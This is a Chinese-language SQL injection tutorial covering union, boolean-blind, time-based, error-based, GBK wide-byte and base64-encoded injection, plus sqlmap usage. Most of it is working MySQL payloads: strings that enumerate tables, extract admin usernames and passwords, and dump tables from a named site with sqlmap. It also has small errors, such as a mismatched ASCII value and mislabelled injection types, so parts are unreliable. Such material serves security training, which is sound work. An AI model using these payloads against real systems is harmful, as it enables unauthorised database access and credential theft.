SQL注入漏洞
SQL注入漏洞
SQL注入漏洞是一种网络安全漏洞,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码,来操纵数据库查询,从而窃取、修改或删除数据库中的敏感信息。这种漏洞通常发生在应用程序没有正确过滤用户输入的情况下。
漏洞类型
整形注入(数字型注入) UNION query SQL injection
字符行注入 UNION query SQL injection
布尔型注入 Boolean-based blind SQL injection
延时注入 Time-based blind SQL injection
报错注入 Error-based SQL injection
宽字节注入 Stacked queries SQL injection
加密注入(base64、md5)等。
一、整形注入
1.1 判断语句
id=1 and 1=1 页面正常
id=1 and 1=2 页面不正常 存在SQL注入漏洞
1.2 判断字符位
id=1 order by 1 页面正常
id=1 order by 5 页面不正常 则字符位为4
1.3 判断显示位(联合查询)
id=-1 UNION SELECT 1,2,3,4 页面所显示为2,则显示位为2
id=-1 UNION SELECT 1,database(),3,4 回车显示wxs007,得到数据库名:wxs007
database() 查询数据库名
user() 查询用户名
version() 查询数据库版本
@@version_compile_os 查询操作系统
1.4 爆表
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
#得到表 :admin_logs,admins,class,facebook,kaiban,message,news,user
1.5 爆出admins表中的所有列
id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admins'
得到列名: id,username,userpwd,email,sex,money,role,vip
1.6 获取 admins 中的一条数据
id=-1 UNION SELECT 1,concat(username,0x23,userpwd),3,4,5,6,7,8 from admins
# 得到数据:admin 123456
注:在mysql中默认存在information表 其information中又存在这table_name和column_name表,所以构成以上语句
二、字符型注入
2.1 判断语句
id=1’ and 1=1-- + 页面正常
id=1’ and 1=2-- + 页面不正常 存在SQL注入漏洞
2.2 判断字符位
id=1’ order by 1-- + 页面正常
id=1 order by 5-- + 页面不正常 则字符位为4
2.3 判断显示位(联合查询)
id=-1’ UNION SELECT 1,2,3,4-- + 页面所显为2,则显示位为2
id=-1’ UNION SELECT 1,database(),3,4-- + 回车显示wxs007,得到数据库名:wxs007
database() 查询数据库名
user() 查询用户名
version() 查询数据库版本
@@version_compile_os 查询操作系统
三、布尔型注入
3.1 判断语句
id=1 and 1=1 页面正常
id=1 and 1=2 页面正常
id=1' and 1=1 --+ 页面正常
id=1' and 1=2 --+ 页面不正常
根据以上内容确定,存在字符型的布尔型注入。
此注入所用到的函数有:
ascii()函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
substr() 函数: substr(string, num start, num length) string 为字符串; start为起始位置;1,length为长度。
length() 函数:获取字符串的长度。
3.2 判断字符位
id=1’ order by 1-- + 页面正常
id=1 order by 5-- + 页面不正常 则字符位为4
3.3 判断显示位(联合查询)
id=-1' UNION SELECT 1,2,3,4,5,6,7,8--+
#执行后发现本页面没有显示位,不能用联合查询注入,所以只能根据页面的显示状态来判断
3.4 获取数据库名字长度
id=1' and length(database())>0 --+
id=1' and length(database())>6 --+ #页面不正常
id=1' and length(database())=6 --+ #页面正常
#得到数据库名字长度是6
3.5 获取数据库名字
# 使用二分法判断,取ascii表 32和127的中间值 79来做判断
id=1' and ascii(substr(database(),1,1))>79 --+ # 页面正常......以此类推
id=1' and ascii(substr(database(),1,1))>119 --+ # 页面不正常
id=1' and ascii(substr(database(),1,1))=119 --+ #页面正常
#得到数据库名字的第一个字符ascii值是110,查看如下表格 则数据库第一个字母为w

继续第二个字母
id=1' and ascii(substr(database(),2,1))>79 --+ # 页面正常
id=1' and ascii(substr(database(),2,1))>120 --+ # 页面不正常
id=1' and ascii(substr(database(),2,1))=120 --+ #页面正常
#得到数据库名字的第二个字符ascii值是120,查看如下表格
# 查表得到120是字母x
# 依次类推,得到数据库名字是:wxs007
四、延时注入
4.1 判断语句
id=1' and 1=1--+ 页面正常
id=1' and 1=2--+ 页面正常
id=1 and 1=1--+ 页面正常
id=1 and 1=2--+ 页面正常
id=1' and sleep(5)--+ 页面沉睡5秒后返回,证明是延时注入
说明后台sql语句再接受id这个参数的时候,直接把sleep(5)也带进入数据库执行了。
延时注入和布尔型注入类似,都没有显示位。而且延时注入也不能根据页面的变化来判断,只能根据页面的返回时间来判断
注:这里用到的函数有ascii(),substr(),if()函数
ascii( )函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
substr( ) 函数: substr(string, num start, num length) string 为字符串; start为起始位置;1。length为长度。
if函数:if(A,B,C);如果A为真,则执行B,否则执行C
4.2 获取数据库名字长度
id=1' and if(length(database())>0,sleep(5),1) --+ #网页等待 ........
id=1' and if(length(database())>6,sleep(5),1) --+ #网页不等待
id=1' and if(length(database())=6,sleep(5),1) --+ #网页等待
#得到数据库名字长度是6
4.3 获取数据库名字
# 使用二分法判断,取ascii表 32和127的中间值 79来做判断
id=1' and if(ascii(substr(database(),1,1))>79,sleep(5),1) --+ #网页等待 .......
id=1' and if(ascii(substr(database(),1,1))>119,sleep(5),1) --+ #网页不等待
id=1' and if(ascii(substr(database(),1,1))=119,sleep(5),1) --+ #网页等待
#得到数据库名字的第一个字符ascii值是119,查看如下表格

# 发现 119 是字母w
继续第二个字母
id=1' and if(ascii(substr(database(),2,1))>79,sleep(5),1) --+ #网页等待 ........
id=1' and if(ascii(substr(database(),2,1))>120,sleep(5),1) --+ #网页不等待
id=1' and if(ascii(substr(database(),2,1))=120,sleep(5),1) --+ #网页等待
#得到数据库名字的第二个字符ascii值是120,查看如下表格
# 查表得到120是字母x
# 依次类推,得到数据库名字是:wxs007
五、报错注入
报错注入要了解的mysql中相关的函数,其中常用的有 floor(),updatexml(),extractvalue()
首先了解下
5.1 updatexml()报错注入
语句如下
id=1 'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+ //其中0x7e是~ 的ascii编码
回显如下:

其他常用函数有:user() 获取用户名
database() 获取数据库名
version() 查询数据库版本
@@version_compile_os 查询操作系统
5.2 floor()报错注入
语句如下 注:语句不懂可以从先去学基础或者百度
id=1 'and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
效果如下:

5.3 extractvalue()报错注入
语句如下
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
效果如下

5.4 geometrycollection报错注入
语句如下:
id=1 and geometrycollection((select * from(select * from(select user())a)b));
效果如下:

5.5 multipoint报错注入
语句如下
id=1 and multipoint((select * from(select * from(select user())a)b));
效果如下:

5.6 polygon报错注入
语句如下
id=1 and polygon((select * from(select * from(select user())a)b));
效果如下:

5.7 multipolygon报错注入
语句如下
id=1 and multipolygon((select * from(select * from(select user())a)b));效果如下:

5.8 linestring报错注入
语句如下
id=1 and linestring((select * from(select * from(select user())a)b));
效果如下:

5.9 multilinestring报错注入
语句如下
id=1 and multilinestring((select * from(select * from(select user())a)b));
效果如下:

5.10 exp报错注入
语句如下
id=1 and exp(~(select * from(select user())a));
效果如下:

常用的三种方式为:
1、floor报错注入
这种注入方式与接下来的两种方式原理上存在很大的区别,相对来说要复杂很多,
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、Updatexml报错注入
首先来看看updatexml这个函数,如下
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
六、宽字节注入
6.1 判断语句
id=1' and 1=1--+ 页面正常
id=1' and 1=2--+ 页面正常
我们发现这里传入的单引号被转义了,sql语句变成了 select * from admins where id = '1\''
内部代码如下:
$id = addslashes($_GET['id']);
$sql = "select * from admins where id = '$id'";
mysqli_set_charset($conn,"gbk");
#因为这里使用了 addslashes函数,所以输入的单引号就会被转义
因为数据库查询使用了gbk编码,所以这里我们拼接个“%df'”,这里的单引号依然会被转义。而转移符号'\'是%5c
那么语句就会变成 select * from admins where id = '1%df\''
这里注意,id = 的后面是 '1%df\'' ,也就是 '%df%5c%27',对于我们汉子来说gbk编码下 %df%5c是一个汉字 ‘運‘’ 所以,这里就会变成 '運'' 于是我们传值尝试一下:
id=1%df' --+
页面成功显示了数据,但有乱码,还不能确定闭合成功,那么直接用联合查询的方式
6.2 判断字符位
id=1%df' order by 8--+ #正常
id=1%df' order by 9--+ #不正常,则字符位为8
6.3 判断显示位(联合查询)
id=-1%df' UNION SELECT 1,2,3,4,5,6,7,8--+
id=-1%df' UNION SELECT 1,database(),3,4,5,6,7,8--+ #得到库名wxs007
七、base64、md5等加密注入
加密注入:就是将注入语句进行base64 、md5等加解码方式,进行注入攻击
7.1 判断语句
链接:http://www.wxs007/base64.php?id=MQ==
字符串“MQ==”经过base64解码之后是数字1
1' and 1=1-- - 经过base64编码之后是 MScgYW5kIDE9MS0tIC0=
1' and 1=2-- - 经过base64编码之后是 MScgYW5kIDE9Mi0tIC0=
执行两个链接:
id=MScgYW5kIDE9MS0tIC0= # 页面正常
id=MScgYW5kIDE9Mi0tIC0= # 页面不正常 存在注入
7.2 判断字符位
# base64编码 1' order by 8-- - MScgb3JkZXIgYnkgOC0tIC0=
id=MScgb3JkZXIgYnkgOC0tIC0= #页面正常
# base64编码 1' order by 9-- - MScgb3JkZXIgYnkgOS0tIC0=
id=MScgb3JkZXIgYnkgOS0tIC0= #页面不正常,则显示位为8 # 注:这里要注意,注释符号是-- - 而不是-- + ,因为+号 base64编码之后,浏览器不会转成空格,带入数据库还是+号,所以这里用-- -
7.3 判断显示位(联合查询 )
-1' UNION SELECT 1,2,3,4,5,6,7,8-- - 经过编码后是 LTEnIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LDgtLSAt
id=LTEnIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LDgtLSAt# 可以看到显示位是2,4
-1' UNION SELECT 1,database(),3,user(),5,6,7,8-- - 经过编码后是 LTEnIFVOSU9OIFNFTEVDVCAxLGRhdGFiYXNlKCksMyx1c2VyKCksNSw2LDcsOC0tIC0=
id=LTEnIFVOSU9OIFNFTEVDVCAxLGRhdGFiYXNlKCksMyx1c2VyKCksNSw2LDcsOC0tIC0=
#得到库名 wxs007 用户名wxs007
#同样的方法,依次类推,语句步骤跟字符注入一样,进行语句加密,注入即可。
八、SQLMAP的使用
8.1 查询注入点
sqlmap -u http://www.wxs007.cn/001.php
8.2 查询库名
sqlmap -u http://www.wxs007.cn/001.php -dbs
8.3 查询数据库里面的所有表
sqlmap -u http://www.wxs007.cn/001.php -D wxs007(数据库名) --tables
8.4 查询表中的所有列:
sqlmap -u http://www.wxs007.cn/001.php -D wxs007(数据库名) -T admin(表名) --columns
8.5 查询表中的数据:
sqlmap -u http://www.wxs007.cn/001.php -D wxs007(数据库名) -T admin(表名) -C admin,pasword (表和列) --dump

浙公网安备 33010602011771号